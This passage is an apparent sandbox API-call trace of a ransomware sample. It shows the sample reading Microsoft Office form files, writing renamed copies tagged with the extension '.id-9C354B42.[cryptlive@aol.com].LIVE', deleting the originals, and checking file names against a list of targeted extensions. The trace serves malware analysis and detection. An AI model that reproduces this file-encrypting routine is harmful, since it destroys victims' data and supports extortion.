dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.520] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.520] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0158.521] GetLastError () returned 0x0 [0158.521] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x309, lpOverlapped=0x0) returned 1 [0158.605] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x310, lpOverlapped=0x0) returned 1 [0158.605] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.605] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0158.606] SetEndOfFile (hFile=0x3c4) returned 1 [0158.606] CloseHandle (hObject=0x3c4) returned 1 [0158.606] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.606] SetEndOfFile (hFile=0x3b8) returned 1 [0158.612] CloseHandle (hObject=0x3b8) returned 1 [0158.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg")) returned 1 [0158.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.613] lstrlenW (lpString=".doc") returned 4 [0158.613] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.613] lstrlenW (lpString=".docx") returned 5 [0158.613] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0158.613] lstrlenW (lpString=".pdf") returned 4 [0158.614] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString=".xls") returned 4 [0158.614] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString=".xlsx") returned 5 [0158.614] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0158.614] lstrlenW (lpString=".ppt") returned 4 [0158.614] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.614] lstrlenW (lpString=".zip") returned 4 [0158.614] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString=".rar") returned 4 [0158.614] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString=".bz2") returned 4 [0158.614] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.614] lstrlenW (lpString=".7z") returned 3 [0158.614] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.614] lstrlenW (lpString=".dbf") returned 4 [0158.614] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.614] lstrlenW (lpString=".1cd") returned 4 [0158.614] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.614] lstrlenW (lpString=".jpg") returned 4 [0158.614] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.614] lstrlenW (lpString=".doc") returned 4 [0158.614] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString=".docx") returned 5 [0158.614] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0158.614] lstrlenW (lpString=".pdf") returned 4 [0158.614] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString=".xls") returned 4 [0158.614] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.614] lstrlenW (lpString=".xlsx") returned 5 [0158.615] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0158.615] lstrlenW (lpString=".ppt") returned 4 [0158.615] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.615] lstrlenW (lpString=".zip") returned 4 [0158.615] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.615] lstrlenW (lpString=".rar") returned 4 [0158.615] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.615] lstrlenW (lpString=".bz2") returned 4 [0158.615] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.615] lstrlenW (lpString=".7z") returned 3 [0158.615] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.615] lstrlenW (lpString=".dbf") returned 4 [0158.615] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.615] lstrlenW (lpString=".1cd") returned 4 [0158.615] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0158.615] lstrlenW (lpString=".jpg") returned 4 [0158.615] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.615] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0158.615] lstrlenW (lpString="RCLRPT.CFG") returned 10 [0158.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.627] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=808) returned 1 [0158.627] CloseHandle (hObject=0x1e0) returned 1 [0158.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg")) returned 0x20 [0158.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.634] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.634] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.643] GetLastError () returned 0x0 [0158.643] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x328, lpOverlapped=0x0) returned 1 [0158.658] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x330, lpOverlapped=0x0) returned 1 [0158.659] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.659] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0158.659] SetEndOfFile (hFile=0x1e0) returned 1 [0158.659] CloseHandle (hObject=0x1e0) returned 1 [0158.659] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.659] SetEndOfFile (hFile=0x3a0) returned 1 [0158.662] CloseHandle (hObject=0x3a0) returned 1 [0158.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg")) returned 1 [0158.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.663] lstrlenW (lpString=".doc") returned 4 [0158.663] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.663] lstrlenW (lpString=".docx") returned 5 [0158.663] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0158.663] lstrlenW (lpString=".pdf") returned 4 [0158.663] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.663] lstrlenW (lpString=".xls") returned 4 [0158.663] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.663] lstrlenW (lpString=".xlsx") returned 5 [0158.663] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0158.663] lstrlenW (lpString=".ppt") returned 4 [0158.663] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.663] lstrlenW (lpString=".zip") returned 4 [0158.663] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.663] lstrlenW (lpString=".rar") returned 4 [0158.663] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.663] lstrlenW (lpString=".bz2") returned 4 [0158.663] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.663] lstrlenW (lpString=".7z") returned 3 [0158.663] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.664] lstrlenW (lpString=".dbf") returned 4 [0158.664] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.664] lstrlenW (lpString=".1cd") returned 4 [0158.664] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.664] lstrlenW (lpString=".jpg") returned 4 [0158.664] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.664] lstrlenW (lpString=".doc") returned 4 [0158.664] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.664] lstrlenW (lpString=".docx") returned 5 [0158.664] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0158.664] lstrlenW (lpString=".pdf") returned 4 [0158.664] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.664] lstrlenW (lpString=".xls") returned 4 [0158.664] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.664] lstrlenW (lpString=".xlsx") returned 5 [0158.664] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0158.664] lstrlenW (lpString=".ppt") returned 4 [0158.664] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.664] lstrlenW (lpString=".zip") returned 4 [0158.664] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.664] lstrlenW (lpString=".rar") returned 4 [0158.664] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.664] lstrlenW (lpString=".bz2") returned 4 [0158.664] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.664] lstrlenW (lpString=".7z") returned 3 [0158.664] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.664] lstrlenW (lpString=".dbf") returned 4 [0158.664] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.664] lstrlenW (lpString=".1cd") returned 4 [0158.665] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0158.665] lstrlenW (lpString=".jpg") returned 4 [0158.665] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.665] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0158.665] lstrlenW (lpString="REC.CFG") returned 7 [0158.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.666] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1617) returned 1 [0158.666] CloseHandle (hObject=0x3a0) returned 1 [0158.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg")) returned 0x20 [0158.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.667] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.667] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.668] GetLastError () returned 0x0 [0158.668] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x651, lpOverlapped=0x0) returned 1 [0158.678] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x660, lpOverlapped=0x0) returned 1 [0158.679] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.679] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0158.679] SetEndOfFile (hFile=0x1e0) returned 1 [0158.679] CloseHandle (hObject=0x1e0) returned 1 [0158.680] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.680] SetEndOfFile (hFile=0x3a0) returned 1 [0158.682] CloseHandle (hObject=0x3a0) returned 1 [0158.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg")) returned 1 [0158.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.683] lstrlenW (lpString=".doc") returned 4 [0158.683] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.683] lstrlenW (lpString=".docx") returned 5 [0158.683] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0158.683] lstrlenW (lpString=".pdf") returned 4 [0158.683] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.683] lstrlenW (lpString=".xls") returned 4 [0158.683] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.683] lstrlenW (lpString=".xlsx") returned 5 [0158.683] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0158.683] lstrlenW (lpString=".ppt") returned 4 [0158.683] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.683] lstrlenW (lpString=".zip") returned 4 [0158.683] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.683] lstrlenW (lpString=".rar") returned 4 [0158.683] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.683] lstrlenW (lpString=".bz2") returned 4 [0158.683] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.683] lstrlenW (lpString=".7z") returned 3 [0158.683] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.683] lstrlenW (lpString=".dbf") returned 4 [0158.683] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.683] lstrlenW (lpString=".1cd") returned 4 [0158.683] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.683] lstrlenW (lpString=".jpg") returned 4 [0158.684] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.684] lstrlenW (lpString=".doc") returned 4 [0158.684] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.684] lstrlenW (lpString=".docx") returned 5 [0158.684] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0158.684] lstrlenW (lpString=".pdf") returned 4 [0158.684] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.684] lstrlenW (lpString=".xls") returned 4 [0158.684] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.684] lstrlenW (lpString=".xlsx") returned 5 [0158.684] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0158.684] lstrlenW (lpString=".ppt") returned 4 [0158.684] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.684] lstrlenW (lpString=".zip") returned 4 [0158.684] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.684] lstrlenW (lpString=".rar") returned 4 [0158.684] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.684] lstrlenW (lpString=".bz2") returned 4 [0158.684] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.684] lstrlenW (lpString=".7z") returned 3 [0158.684] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.684] lstrlenW (lpString=".dbf") returned 4 [0158.684] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.684] lstrlenW (lpString=".1cd") returned 4 [0158.684] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0158.684] lstrlenW (lpString=".jpg") returned 4 [0158.684] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.685] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0158.685] lstrlenW (lpString="RECL.ICO") returned 8 [0158.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.685] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1078) returned 1 [0158.685] CloseHandle (hObject=0x3a0) returned 1 [0158.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico")) returned 0x20 [0158.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.686] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.686] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, 